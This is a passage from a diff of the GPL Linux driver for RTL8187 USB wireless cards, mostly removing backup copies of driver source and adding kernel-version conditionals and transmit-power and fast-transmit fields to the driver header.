DMESG("MAC controller is a RTL8185 b/g (V. D)"); - priv->card_8185 = 2; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8180_ABCD: - DMESG("MAC controller is a RTL8180"); - priv->card_8185 = 0; - break; - - case HW_VERID_R8180_F: - DMESG("MAC controller is a RTL8180 (v. F)"); - priv->card_8185 = 0; - break; - - default: - DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); - priv->card_8185 = 0; - break; - } - - - /* you should not found any 8185 Ver B Card */ - priv->card_8185_Bversion = 0; - - config3 = read_nic_byte(dev, CONFIG3); - if(config3 & 0x8){ - priv->card_type = CARDBUS; - DMESG("This is a CARDBUS NIC"); - } - else if( config3 & 0x4){ - priv->card_type = MINIPCI; - DMESG("This is a MINI-PCI NIC"); - }else{ - priv->card_type = PCI; - DMESG("This is a PCI NIC"); - } - #endif - priv->enable_gpio0 = 0; - - - /* commented out just because we already do - this when resetting the card - andrea 20050924 - */ - #if 0 - - u8 txcr, txreg50; - u32 txreg54, txreg60; - - /* enable A/D D/A register */ - txcr = read_nic_byte(dev, 0x59); -// DMESG("", txcr); - //write_nic_word(dev, 0x59, 0x44); - write_nic_byte(dev, 0x59, 0x44); - //write_nic_byte(dev, 0x59, 0xea); - txcr = read_nic_byte(dev, 0x59); -// DMESG("<>", txcr); - - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("", txreg50); - write_nic_byte(dev, 0x50, 0xc0); - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("<>", txreg50); - - - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("", txreg54); - txreg54 = 0xa0000a59; - // DMESG("<>", txreg54); - write_nic_dword(dev, 0x54, txreg54); - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("<<>>", txreg54); - - txreg60 = read_nic_dword(dev, 0x60); - // DMESG("", txreg60); - - write_nic_byte(dev, 0x50, 0x0); - txcr = read_nic_byte(dev, 0x50); - // DMESG("<>", txcr); - -#endif - - /*the eeprom type is stored in RCR register bit #6 */ - if (RCR_9356SEL & read_nic_dword(dev, RCR)){ - priv->epromtype=EPROM_93c56; - DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); - }else{ - priv->epromtype=EPROM_93c46; - DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); - } - - dev->get_stats = rtl8180_stats; - - dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; - dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; - dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; - dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; - dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; - dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - - DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - - for(i=1,j=0; i<6; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW0 + j); - priv->chtxpwr[i]=word & 0xf; - priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; - priv->chtxpwr[i+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW1 + j); - priv->chtxpwr[i+6]=word & 0xf; - priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW2 + j); - priv->chtxpwr[i+6+4]=word & 0xf; - priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; - } - - - priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - - word = eprom_read(dev,EPROM_TXPW_BASE); - priv->cck_txpwr_base = word & 0xf; - priv->ofdm_txpwr_base = (word>>4) & 0xf; - - /* check RF frontend chipset */ - - switch (priv->rf_chip) { - - case EPROM_RFCHIPID_RTL8225U: - - DMESG("Card reports RF frontend Realtek 8225"); - DMESGW("This driver has EXPERIMENTAL support for this chipset."); - DMESGW("use it with care and at your own risk and"); - DMESGW("**PLEASE** REPORT SUCCESS/INSUCCESS TO andreamrl@tiscali.it"); - if(rtl8225_is_V_z2(dev)){ - priv->rf_init = rtl8225z2_rf_init; - priv->rf_set_chan = rtl8225z2_rf_set_chan; - priv->rf_set_sens = NULL; - DMESG("This seems a new V2 radio"); - }else{ - priv->rf_init = rtl8225_rf_init; - priv->rf_set_chan = rtl8225_rf_set_chan; - priv->rf_set_sens = rtl8225_rf_set_sens; - DMESG("This seems a legacy 1st version radio"); - } - priv->rf_close = rtl8225_rf_close; - - priv->max_sens = RTL8225_RF_MAX_SENS; - priv->sens = RTL8225_RF_DEF_SENS; - break; - - default: - DMESGW("Unknown RF module %x",priv->rf_chip); - DMESGW("Exiting..."); - return -1; - - } - -// DMESG("Energy threshold: %x",priv->cs_treshold); - DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); - //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ - DMESG("Endopoints initialization failed"); - return -ENOMEM; - } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_NORMPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_HIGHPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_LOWPRIORITY_RING_ADDR)) - return -ENOMEM; - - - if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) - return -ENOMEM; -#endif - - -#ifdef DEBUG_EPROM - dump_eprom(dev); -#endif - return 0; - -} - -void rtl8185_rf_pins_enable(struct net_device *dev) -{ -/* u16 tmp; - tmp = read_nic_word(dev, RFPinsEnable);*/ - write_nic_word(dev, RFPinsEnable, 0x1ff7);// | tmp); -} - - -void rtl8185_set_anaparam2(struct net_device *dev, u32 a) -{ - u8 conf3; - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); - write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); - write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); - write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); - - //read_nic_dword(dev, PHY_ADR); -#if 0 - for(i=0;i<10;i++){ - write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); - phyr = read_nic_byte(dev, PHY_READ); - if(phyr == (data&0xff)) break; - - } -#endif - /* this is ok to fail when we write AGC table. check for AGC table might be - * done by masking with 0x7f instead of 0xff - */ - //if(phyr != (data&0xff)) DMESGW("Phy write timeout %x %x %x", phyr, data, adr); - mdelay(1); -} - - -inline void write_phy_ofdm (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data); -} - - -void write_phy_cck (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data | 0x10000); -} - - -void rtl8180_adapter_start(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //u32 anaparam; - //u8 config3; - - //rtl8180_rtx_disable(dev); - rtl8180_reset(dev); - - write_nic_byte(dev,0x85,0); - write_nic_byte(dev,0x91,0); - - /* light blink! */ - write_nic_byte(dev,0x85,4); - write_nic_byte(dev,0x91,1); - write_nic_byte(dev,0x90,0); - - priv->irq_mask = 0xffff; -/* - priv->dma_poll_mask = 0; - priv->dma_poll_mask|= (1<dev_addr)[0]); - write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - rtl8180_update_msr(dev); - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - write_nic_word(dev,0xf4,0xffff); - write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); - - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); - -#ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); -#endif - - - write_nic_byte(dev, WPA_CONFIG, 0); - - write_nic_byte(dev, RATE_FALLBACK, 0x81); - rtl8187_set_rate(dev); - - priv->rf_init(dev); - - if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - - write_nic_word(dev,0x5e,1); - - #if 1 - //mdelay(1); - write_nic_word(dev,0xfe,0x10); -// mdelay(1); - #endif - write_nic_byte(dev, TALLY_SEL, 0x80);//Set NQ retry count - - write_nic_byte(dev, 0xff, 0x60); - - write_nic_word(dev,0x5e,0); - - - rtl8180_irq_enable(dev); - /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - - DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - - DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); - if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); - if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); - if(check_nic_enought_desc(dev,LOW_PRIORITY)) DMESG("LOW OK");*/ -} - - - -/* this configures registers for beacon tx and enables it via - * rtl8180_beacon_tx_enable(). rtl8180_beacon_tx_disable() might - * be used to stop beacon transmission - */ -#if 0 -void rtl8180_start_tx_beacon(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; - DMESG("Enabling beacon TX"); - //write_nic_byte(dev, 0x42,0xe6);// TCR - //rtl8180_init_beacon(dev); - //set_nic_txring(dev); -// rtl8180_prepare_beacon(dev); - rtl8180_irq_disable(dev); -// rtl8180_beacon_tx_enable(dev); - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - //write_nic_byte(dev,0x9d,0x20); //DMA Poll - //write_nic_word(dev,0x7a,0); - //write_nic_word(dev,0x7a,0x8000); - - - word = read_nic_word(dev, BcnItv); - word &= ~BcnItv_BcnItv; // clear Bcn_Itv - write_nic_word(dev, BcnItv, word); - - write_nic_word(dev, AtimWnd, - read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - - word = read_nic_word(dev, BintrItv); - word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * - // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); - // FIXME:FIXME check if correct ^^ worked with 0x3e8; - - write_nic_word(dev, BintrItv, word); - - //write_nic_word(dev,0x2e,0xe002); - //write_nic_dword(dev,0x30,0xb8c7832e); - for(i=0; iieee80211->beacon_cell_ssid[i]); - -// rtl8180_update_msr(dev); - - - //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - - rtl8180_irq_enable(dev); - - /* VV !!!!!!!!!! VV*/ - /* - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -*/ -} -#endif -/*************************************************************************** - -------------------------------NET STUFF--------------------------- -***************************************************************************/ -static struct net_device_stats *rtl8180_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->ieee80211->stats; -} - - -int _rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->up=1; - - //DMESG("Bringing up iface"); - - rtl8180_adapter_start(dev); - - rtl8180_rx_enable(dev); - - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); - if(!netif_queue_stopped(dev)) - netif_start_queue(dev); - else - netif_wake_queue(dev); - - return 0; -} - - -int rtl8180_open(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - ret = rtl8180_up(dev); - up(&priv->wx_sem); - return ret; - -} - - -int rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 1) return -1; - - return _rtl8180_up(dev); -} - - -int rtl8180_close(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - - ret = rtl8180_down(dev); - - up(&priv->wx_sem); - - return ret; - -} - -int rtl8180_down(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return -1; - - priv->up=0; - -/* FIXME */ - if (!netif_queue_stopped(dev)) - netif_stop_queue(dev); - - rtl8180_rtx_disable(dev); - rtl8180_irq_disable(dev); - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - return 0; -} - - -void rtl8180_commit(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - rtl8180_irq_disable(dev); - rtl8180_rtx_disable(dev); - _rtl8180_up(dev); -} - -void rtl8180_restart(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - down(&priv->wx_sem); - - rtl8180_commit(dev); - - up(&priv->wx_sem); -} - -static void r8180_set_multicast(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - short promisc; - - //down(&priv->wx_sem); - - /* FIXME FIXME */ - - promisc = (dev->flags & IFF_PROMISC) ? 1:0; - - if (promisc != priv->promisc) - // rtl8180_commit(dev); - - priv->promisc = promisc; - - //schedule_work(&priv->reset_wq); - //up(&priv->wx_sem); -} - - -int r8180_set_mac_adr(struct net_device *dev, void *mac) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - struct sockaddr *addr = mac; - - down(&priv->wx_sem); - - memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - - schedule_work(&priv->reset_wq); - - up(&priv->wx_sem); - - return 0; -} - - -/* based on ipw2200 driver */ -int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; - switch (cmd) { - case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); - break; - - default: - ret = -EOPNOTSUPP; - break; - } - - up(&priv->wx_sem); - - return ret; -} - - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv) -{ - struct urb *rx_urb = priv->rxurb_task; - struct net_device *dev = (struct net_device*)rx_urb->context; - int status,len,flen; - struct sk_buff *skb; - u32 *desc; - - //DMESG("rtl8187_rx_isr"); - - struct ieee80211_rx_stats stats = { - .signal = 0, - .noise = -98, - .rate = 0, - // .mac_time = jiffies, - .freq = IEEE80211_24GHZ_BAND, - }; - - //DMESG("RX %d ",rx_urb->status); - status = rx_urb->status; - if(status == 0){ - - len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ - len -= 4*4;/* 4 dword and 4 byte CRC */ - - desc = (u32*)(rx_urb->transfer_buffer + len); - - flen = desc[0] & 0xfff; - - if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; - stats.mac_time[0] = desc[2]; - stats.mac_time[1] = desc[3]; - skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ - memcpy(skb_put(skb,flen-4), - rx_urb->transfer_buffer,flen -4); - - #ifdef DUMP_RX - int i; - for(i=0;itransfer_buffer))[i]); - printk("------RATE %x:w---------------\n",stats.rate); - - #endif - priv->stats.rxok++; - // priv->rxskb = skb; - // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, - skb, &stats)) - dev_kfree_skb_any(skb); - } - }else priv->stats.rxurberr++; - }else{ - priv->stats.rxstaterr++; - priv->ieee80211->stats.rx_errors++; - - } - - if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); - else DMESG("RX process aborted due to explicit shutdown"); -} - -/**************************************************************************** - ---------------------------- USB_STUFF--------------------------- -*****************************************************************************/ - - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id) -{ -// unsigned long ioaddr = 0; - struct net_device *dev = NULL; - struct r8180_priv *priv= NULL; - struct usb_device *udev = interface_to_usbdev(intf); - -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - - SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - - SET_NETDEV_DEV(dev, &intf->dev); - - priv = ieee80211_priv(dev); - priv->ieee80211 = netdev_priv(dev); - - priv->udev=udev; - - dev->open = rtl8180_open; - dev->stop = rtl8180_close; - //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; - dev->tx_timeout = tx_timeout; - dev->wireless_handlers = &r8180_wx_handlers_def; - dev->do_ioctl = rtl8180_ioctl; - dev->set_multicast_list = r8180_set_multicast; - dev->set_mac_address = r8180_set_mac_adr; - dev->get_wireless_stats = r8180_get_wireless_stats; - dev->type=ARPHRD_ETHER; - - if (dev_alloc_name(dev, ifname) < 0){ - DMESG("Oops: devname already taken! Trying wlan%%d...\n"); - ifname = "wlan%d"; - dev_alloc_name(dev, ifname); - } - -// dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ - DMESG("Initialization failed"); - goto fail; - } - - netif_carrier_off(dev); - netif_stop_queue(dev); - - register_netdev(dev); - - rtl8180_proc_init_one(dev); - - - DMESG("Driver probe completed\n"); - return 0; - - -fail: - free_ieee80211(dev); - - DMESG("wlan driver load failed\n"); - - return -ENODEV; - -} - - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf) -{ - struct r8180_priv *priv; - struct net_device *dev = usb_get_intfdata(intf); - if(dev){ - - unregister_netdev(dev); - - priv=ieee80211_priv(dev); - - rtl8180_proc_remove_one(dev); - - rtl8180_down(dev); - priv->rf_close(dev); - //rtl8180_rtx_disable(dev); - rtl8187_usb_deleteendpoints(dev); - rtl8180_irq_disable(dev); - rtl8180_reset(dev); - mdelay(10); - - } -// pci_disable_device(pdev); - free_ieee80211(dev); - DMESG("wlan driver removed\n"); -} - - -static int __init rtl8187_usb_module_init(void) -{ - printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ -based WLAN cards\n"); - printk(KERN_INFO "Copyright (c) 2004-2005, Andrea Merello\n"); - DMESG("Initializing module"); - DMESG("Wireless extensions version %d", WIRELESS_EXT); - rtl8180_proc_module_init(); - return usb_register(&rtl8187_usb_driver); -} - - -static void __exit rtl8187_usb_module_exit(void) -{ - usb_deregister(&rtl8187_usb_driver); - - rtl8180_proc_module_remove(); - DMESG("Exiting"); -} - - -void rtl8180_try_wake_queue(struct net_device *dev, int pri) -{ - unsigned long flags; - short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - spin_lock_irqsave(&priv->tx_lock,flags); - enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - - if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); -} - - - -/*************************************************************************** - ------------------- module init / exit stubs ---------------- -****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8187.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h 2006-06-05 23:48:10.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8187.h 2010-05-19 22:23:52.586008695 -0700 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -44,8 +43,16 @@ #include #include #include + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) #include #include +#include +#else +#include +#include +//#include +#endif #include "ieee80211.h" @@ -68,7 +75,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +130,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +150,18 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + short highpower; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +170,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +183,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +237,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +251,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h~ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8187.h~ --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h~ 2006-06-05 19:58:02.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8187.h~ 1969-12-31 16:00:00.000000000 -0800 @@ -1,288 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 - Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the - official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon - - Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper - project Authors. -*/ - -#ifndef R8180H -#define R8180H - - -#define RTL8187_MODULE_NAME "rtl8187" -#define DMESG(x,a...) printk(KERN_INFO RTL8187_MODULE_NAME ": " x "\n", ## a) -#define DMESGW(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": WW:" x "\n", ## a) -#define DMESGE(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": EE:" x "\n", ## a) - -#include -#include -#include -#include -#include -#include -#include -#include -#include -//#include -#include -#include -#include -#include //for rtnl_lock() -#include -#include -#include // Necessary because we use the proc fs -#include -#include -#include -#include -#include - -#include "ieee80211.h" - -#define EPROM_93c46 0 -#define EPROM_93c56 1 - -#define DEFAULT_FRAG_THRESHOLD 2342U -#define MIN_FRAG_THRESHOLD 256U -#define DEFAULT_BEACONINTERVAL 0x64U -#define DEFAULT_BEACON_ESSID "Rtl8187" - -#define DEFAULT_SSID "" -#define DEFAULT_RETRY_RTS 7 -#define DEFAULT_RETRY_DATA 7 -#define PRISM_HDR_SIZE 64 - -#define RTL_IOCTL_WPA_SUPPLICANT SIOCIWFIRSTPRIV+30 - -typedef struct buffer -{ - struct buffer *next; - u32 *buf; - -} buffer; - -#if 0 - -typedef struct tx_pendingbuf -{ - struct ieee80211_txb *txb; - short ispending; - short descfrag; -} tx_pendigbuf; - -#endif - -typedef struct Stats -{ - unsigned long txrdu; -// unsigned long rxrdu; - //unsigned long rxnolast; - //unsigned long rxnodata; -// unsigned long rxreset; -// unsigned long rxwrkaround; -// unsigned long rxnopointer; - unsigned long rxok; - unsigned long rxurberr; - unsigned long rxstaterr; - unsigned long txnperr; - unsigned long txnpdrop; - unsigned long txresumed; -// unsigned long rxerr; -// unsigned long rxoverflow; -// unsigned long rxint; - unsigned long txnpokint; -// unsigned long txhpokint; -// unsigned long txhperr; -// unsigned long ints; -// unsigned long shints; - unsigned long txoverflow; -// unsigned long rxdmafail; -// unsigned long txbeacon; -// unsigned long txbeaconerr; - unsigned long txlpokint; - unsigned long txlpdrop; - unsigned long txlperr; - unsigned long txdatapkt; -} Stats; - - - -typedef struct r8180_priv -{ - struct usb_device *udev; - short epromtype; - int irq; - struct ieee80211_device *ieee80211; - - short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ - short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ - short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ - short enable_gpio0; - enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; - short hw_plcp_len; - -// spinlock_t irq_lock; -// spinlock_t irq_th_lock; - spinlock_t tx_lock; - - u16 irq_mask; -// short irq_enabled; - struct net_device *dev; - short chan; - short sens; - short max_sens; - u8 chtxpwr[15]; //channels from 1 to 14, 0 not used - u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used - u8 cck_txpwr_base; - u8 ofdm_txpwr_base; - u8 challow[15]; //channels from 1 to 14, 0 not used - short up; - short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - -// struct timer_list scan_timer; - /*short scanpending; - short stopscan;*/ -// spinlock_t scan_lock; -// u8 active_probe; - //u8 active_scan_num; - struct semaphore wx_sem; -// short hw_wep; - -// short digphy; -// short antb; -// short diversity; -// u8 cs_treshold; -// short rcr_csense; - short rf_chip; -// u32 key0[4]; - short (*rf_set_sens)(struct net_device *dev,short sens); - void (*rf_set_chan)(struct net_device *dev,short ch); - void (*rf_close)(struct net_device *dev); - void (*rf_init)(struct net_device *dev); - //short rate; - short promisc; - /*stats*/ - struct Stats stats; - struct iw_statistics wstats; - struct proc_dir_entry *dir_dev; - - /*RX stuff*/ -// u32 *rxring; -// u32 *rxringtail; -// dma_addr_t rxringdma; - struct urb **rx_urb; - - //struct buffer *rxbuffer; - //struct buffer *rxbufferhead; - //int rxringcount; - //u16 rxbuffersize; - - //struct sk_buff *rx_skb; - - //short rx_skb_complete; - - //u32 rx_prevlen; - atomic_t tx_lp_pending; - atomic_t tx_np_pending; -#if 0 - /*TX stuff*/ - u32 *txlpring; - u32 *txhpring; - u32 *txnpring; - dma_addr_t txlpringdma; - dma_addr_t txhpringdma; - dma_addr_t txnpringdma; - u32 *txlpringtail; - u32 *txhpringtail; - u32 *txnpringtail; - u32 *txlpringhead; - u32 *txhpringhead; - u32 *txnpringhead; - struct buffer *txlpbufs; - struct buffer *txhpbufs; - struct buffer *txnpbufs; - struct buffer *txlpbufstail; - struct buffer *txhpbufstail; - struct buffer *txnpbufstail; - int txringcount; - int txbuffsize; - - //struct tx_pendingbuf txnp_pending; - struct tasklet_struct irq_tx_tasklet; -#endif -// struct tasklet_struct irq_rx_tasklet; -// u8 dma_poll_mask; - //short tx_suspend; - - /* adhoc/master mode stuff */ -#if 0 - u32 *txbeacontail; - dma_addr_t 